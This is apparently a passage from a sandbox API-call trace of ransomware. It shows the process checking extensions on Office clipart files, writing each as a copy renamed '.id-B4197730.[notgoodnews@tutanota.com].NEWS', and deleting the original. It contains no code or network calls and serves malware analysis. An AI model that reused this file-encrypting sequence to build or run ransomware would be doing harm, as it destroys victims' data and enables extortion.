lstrlenW (lpString=".doc") returned 4 [0090.003] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.003] lstrlenW (lpString=".docx") returned 5 [0090.003] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0090.003] lstrlenW (lpString=".pdf") returned 4 [0090.003] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.003] lstrlenW (lpString=".xls") returned 4 [0090.003] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.003] lstrlenW (lpString=".xlsx") returned 5 [0090.004] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0090.004] lstrlenW (lpString=".ppt") returned 4 [0090.004] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0090.004] lstrlenW (lpString=".zip") returned 4 [0090.004] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.004] lstrlenW (lpString=".rar") returned 4 [0090.004] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.004] lstrlenW (lpString=".bz2") returned 4 [0090.004] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.004] lstrlenW (lpString=".7z") returned 3 [0090.004] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0090.004] lstrlenW (lpString=".dbf") returned 4 [0090.004] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0090.004] lstrlenW (lpString=".1cd") returned 4 [0090.004] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0090.004] lstrlenW (lpString=".jpg") returned 4 [0090.004] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.004] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0090.004] lstrlenW (lpString="IN00956_.WMF") returned 12 [0090.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0090.005] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=1256) returned 1 [0090.005] CloseHandle (hObject=0x378) returned 1 [0090.005] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf")) returned 0x220 [0090.005] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0090.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0090.005] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.005] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0090.005] GetLastError () returned 0x0 [0090.005] ReadFile (in: hFile=0x378, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x4e8, lpOverlapped=0x0) returned 1 [0090.007] WriteFile (in: hFile=0x330, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0090.008] ReadFile (in: hFile=0x378, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0090.008] WriteFile (in: hFile=0x330, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0090.008] SetEndOfFile (hFile=0x330) returned 1 [0090.008] CloseHandle (hObject=0x330) returned 1 [0090.008] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.008] SetEndOfFile (hFile=0x378) returned 1 [0090.009] CloseHandle (hObject=0x378) returned 1 [0090.009] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0090.009] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf")) returned 1 [0090.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0090.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0090.009] lstrlenW (lpString=".doc") returned 4 [0090.009] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.009] lstrlenW (lpString=".docx") returned 5 [0090.009] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0090.009] lstrlenW (lpString=".pdf") returned 4 [0090.009] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.009] lstrlenW (lpString=".xls") returned 4 [0090.009] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.010] lstrlenW (lpString=".xlsx") returned 5 [0090.010] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0090.010] lstrlenW (lpString=".ppt") returned 4 [0090.010] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0090.010] lstrlenW (lpString=".zip") returned 4 [0090.010] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.010] lstrlenW (lpString=".rar") returned 4 [0090.010] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.010] lstrlenW (lpString=".bz2") returned 4 [0090.010] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.568] lstrlenW (lpString=".7z") returned 3 [0090.569] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0090.571] lstrlenW (lpString=".dbf") returned 4 [0090.596] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0090.596] lstrlenW (lpString=".1cd") returned 4 [0090.596] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0090.596] lstrlenW (lpString=".jpg") returned 4 [0090.596] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0090.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0090.597] lstrlenW (lpString=".doc") returned 4 [0090.597] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.597] lstrlenW (lpString=".docx") returned 5 [0090.597] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0090.597] lstrlenW (lpString=".pdf") returned 4 [0090.597] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.597] lstrlenW (lpString=".xls") returned 4 [0090.597] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.597] lstrlenW (lpString=".xlsx") returned 5 [0090.597] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0090.597] lstrlenW (lpString=".ppt") returned 4 [0090.597] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0090.597] lstrlenW (lpString=".zip") returned 4 [0090.597] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.597] lstrlenW (lpString=".rar") returned 4 [0090.597] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.597] lstrlenW (lpString=".bz2") returned 4 [0090.597] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.597] lstrlenW (lpString=".7z") returned 3 [0090.597] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0090.597] lstrlenW (lpString=".dbf") returned 4 [0090.597] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0090.597] lstrlenW (lpString=".1cd") returned 4 [0090.597] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0090.597] lstrlenW (lpString=".jpg") returned 4 [0090.597] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.597] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0090.597] lstrlenW (lpString="J0090777.WMF") returned 12 [0090.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0090.598] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=3332) returned 1 [0090.598] CloseHandle (hObject=0x398) returned 1 [0090.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf")) returned 0x220 [0090.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0090.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0090.599] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.599] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0090.599] GetLastError () returned 0x0 [0090.599] ReadFile (in: hFile=0x398, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0xd04, lpOverlapped=0x0) returned 1 [0090.600] WriteFile (in: hFile=0x37c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xd10, lpOverlapped=0x0) returned 1 [0090.601] ReadFile (in: hFile=0x398, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0090.601] WriteFile (in: hFile=0x37c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0090.601] SetEndOfFile (hFile=0x37c) returned 1 [0090.602] CloseHandle (hObject=0x37c) returned 1 [0090.602] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.602] SetEndOfFile (hFile=0x398) returned 1 [0090.603] CloseHandle (hObject=0x398) returned 1 [0090.603] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0090.603] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf")) returned 1 [0090.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0090.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0090.603] lstrlenW (lpString=".doc") returned 4 [0090.603] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.603] lstrlenW (lpString=".docx") returned 5 [0090.603] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0090.603] lstrlenW (lpString=".pdf") returned 4 [0090.603] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.603] lstrlenW (lpString=".xls") returned 4 [0090.603] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.603] lstrlenW (lpString=".xlsx") returned 5 [0090.603] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0090.603] lstrlenW (lpString=".ppt") returned 4 [0090.603] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0090.604] lstrlenW (lpString=".zip") returned 4 [0090.604] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.604] lstrlenW (lpString=".rar") returned 4 [0090.604] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.604] lstrlenW (lpString=".bz2") returned 4 [0090.604] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.604] lstrlenW (lpString=".7z") returned 3 [0090.604] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0090.604] lstrlenW (lpString=".dbf") returned 4 [0090.604] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0090.604] lstrlenW (lpString=".1cd") returned 4 [0090.604] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0090.604] lstrlenW (lpString=".jpg") returned 4 [0090.604] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0090.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0090.604] lstrlenW (lpString=".doc") returned 4 [0090.604] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.604] lstrlenW (lpString=".docx") returned 5 [0090.604] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0090.604] lstrlenW (lpString=".pdf") returned 4 [0090.604] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.604] lstrlenW (lpString=".xls") returned 4 [0090.604] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.604] lstrlenW (lpString=".xlsx") returned 5 [0090.604] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0090.604] lstrlenW (lpString=".ppt") returned 4 [0090.604] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0090.604] lstrlenW (lpString=".zip") returned 4 [0090.605] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.605] lstrlenW (lpString=".rar") returned 4 [0090.605] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.605] lstrlenW (lpString=".bz2") returned 4 [0090.605] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.605] lstrlenW (lpString=".7z") returned 3 [0090.605] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0090.605] lstrlenW (lpString=".dbf") returned 4 [0090.605] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0090.605] lstrlenW (lpString=".1cd") returned 4 [0090.605] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68 [0090.605] lstrlenW (lpString=".jpg") returned 4 [0090.605] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.605] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0090.605] lstrlenW (lpString="J0090779.WMF") returned 12 [0090.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0090.606] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=1456) returned 1 [0090.606] CloseHandle (hObject=0x398) returned 1 [0090.606] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf")) returned 0x220 [0090.606] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0090.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0090.606] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.606] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0090.606] GetLastError () returned 0x0 [0090.606] ReadFile (in: hFile=0x398, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x5b0, lpOverlapped=0x0) returned 1 [0090.608] WriteFile (in: hFile=0x37c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x5c0, lpOverlapped=0x0) returned 1 [0090.609] ReadFile (in: hFile=0x398, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0090.609] WriteFile (in: hFile=0x37c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0090.609] SetEndOfFile (hFile=0x37c) returned 1 [0090.609] CloseHandle (hObject=0x37c) returned 1 [0090.609] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.609] SetEndOfFile (hFile=0x398) returned 1 [0090.610] CloseHandle (hObject=0x398) returned 1 [0090.610] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0090.610] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090779.wmf")) returned 1 [0090.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0090.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0090.610] lstrlenW (lpString=".doc") returned 4 [0090.610] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.610] lstrlenW (lpString=".docx") returned 5 [0090.610] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0090.610] lstrlenW (lpString=".pdf") returned 4 [0090.610] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.610] lstrlenW (lpString=".xls") returned 4 [0090.610] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.610] lstrlenW (lpString=".xlsx") returned 5 [0090.610] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0090.610] lstrlenW (lpString=".ppt") returned 4 [0090.611] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0090.611] lstrlenW (lpString=".zip") returned 4 [0090.611] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.611] lstrlenW (lpString=".rar") returned 4 [0090.611] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.611] lstrlenW (lpString=".bz2") returned 4 [0090.611] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.611] lstrlenW (lpString=".7z") returned 3 [0090.611] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0090.611] lstrlenW (lpString=".dbf") returned 4 [0090.611] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0090.611] lstrlenW (lpString=".1cd") returned 4 [0090.611] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0090.611] lstrlenW (lpString=".jpg") returned 4 [0090.611] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0090.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090779.WMF") returned 68 [0090.611] lstrlenW (lpString=".doc") returned 4 [0090.611] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.611] lstrlenW (lpString=".docx") returned 5 [0090.611] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0090.611] lstrlenW (lpString=".pdf") returned 4 [0090.611] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.611] lstrlenW (lpString=".xls") returned 4 [0090.611] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.611] lstrlenW (lpString=".xlsx") returned 